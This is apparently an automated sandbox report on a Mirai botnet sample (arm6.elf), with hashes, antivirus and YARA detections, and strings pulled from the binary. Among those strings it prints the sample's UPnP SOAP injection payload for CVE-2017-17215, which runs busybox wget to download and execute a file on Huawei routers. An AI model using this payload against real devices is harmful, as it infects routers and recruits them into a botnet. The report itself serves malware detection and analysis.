Linux Analysis Report
arm6.elf

Overview

General Information

Sample name: arm6.elf
Analysis ID: 1524323
MD5: a6135718974efa6331a3e8cd1c6ce55a
SHA1: 3ec9417f80d770fbd235bd623d124ca4f78b2b9c
SHA256: 53387271b6d33d927f12d1c1d93a979b480d9a436b41804ee2fcfbe2518013fb
Tags: 404CVE-2017-17215elfMiraiuser-NDA0E
Infos:

Detection

Mirai
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: arm6.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm6.elf ReversingLabs: Detection: 68%
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal72.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm6.elf (PID: 5412) Queries kernel information via 'uname': Jump to behavior
Source: arm6.elf, 5412.1.0000559776bc6000.0000559776cf4000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm6.elf, 5412.1.0000559776bc6000.0000559776cf4000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5412.1.00007ffc3a505000.00007ffc3a526000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5412.1.00007ffc3a505000.00007ffc3a526000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5412.1.00007ffc3a505000.00007ffc3a526000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5412.1.00007fc244017000.00007fc24402c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5412, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5412.1.00007fc244017000.00007fc24402c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5412, type: MEMORYSTR

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true